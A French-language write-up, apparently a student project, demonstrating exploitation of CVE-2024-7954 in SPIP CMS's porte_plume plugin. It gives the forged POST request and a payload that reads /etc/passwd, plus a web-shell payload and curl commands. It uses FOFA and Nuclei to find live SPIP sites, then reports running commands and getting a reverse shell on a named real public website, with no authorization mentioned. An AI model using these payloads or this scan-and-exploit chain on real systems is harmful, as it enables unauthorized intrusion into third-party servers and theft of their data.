
Exploitation d'une vulnérabilité d'exécution de code à distance- (CVE-2024-7954)
Projet de test de vulnérabilité logicielle Soumis par : Shivansh Kuntal
Ce projet démontre l'exploitation de CVE-2024-7954, une vulnérabilité critique d'exécution de code à distance (RCE) affectant SPIP CMS via son plugin porte_plume.
La vulnérabilité permet à des attaquants non authentifiés d'exécuter du code PHP arbitraire sur le serveur cible via des requêtes HTTP POST forgées.
Les tests ont été menés dans un environnement local contrôlé, puis étendus à une reconnaissance réelle à l'aide de FOFA et Nuclei.
Une version vulnérable de SPIP CMS, confirmée comme étant affectée par CVE-2024-7954, a été déployée localement sur un serveur Apache à l'aide d'un dépôt GitHub hébergeant des versions connues comme vulnérables.
Outils utilisés
La page d'accueil de SPIP accessible sur localhost a validé l'installation réussie et a servi de cible pour l'exploitation.
Le plugin porte_plume (avant les versions 4.30-alpha2, 4.2.13, 4.1.16) est vulnérable en raison d'un assainissement insuffisant des entrées fournies par l'utilisateur. Les attaquants peuvent injecter du code PHP dans des champs de formulaire spécifiques, qui est ensuite rendu et exécuté par le serveur.
Impact : Exécution de code à distance sans authentification Sévérité : Critique Vecteur d'attaque : Réseau / HTTP POST
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
Une requête FOFA a été utilisée pour énumérer les installations SPIP publiques :
app="SPIP"
FOFA a renvoyé plusieurs points de métadonnées :
targets.txt pour un scan par lots.Un hôte réel approprié a été identifié :
http://www.comite-tricolore.org/
Étant donné que l'exploitation manuelle est lente, Nuclei a été utilisé pour automatiser la détection de CVE-2024-7954 sur un grand ensemble de cibles.
nuclei -l targets.txt -t CVE-2024-7954.yaml
-l targets.txt charge les résultats FOFA-t charge le modèle PoC personnaliséRemarque : Le modèle initial a renvoyé aucun résultat.
nuclei -l targets.txt -t cves/
Ce scan a identifié une cible répondante :
http://www.comite-tricolore.org/
Visiter :
http://www.comite-tricolore.org/spip.php?page=contact
Confirmé :
À l'aide de Burp Suite ou de curl, modifier le paramètre message :
Charge utile
<?php system($_GET['cmd']); ?>
Visiter :
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id
Ou avec curl :
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"
La sortie a confirmé l'exécution de commande à distance.
Une charge utile forgée permet un callback reverse shell, offrant :
whoamilsCe projet démontre la chaîne d'exploitation complète pour CVE-2024-7954, de la reconnaissance à l'obtention d'un shell interactif.
Cette vulnérabilité montre comment un plugin de formatage de texte apparemment inoffensif peut entraîner une compromission complète du système lorsqu'il est mal sécurisé.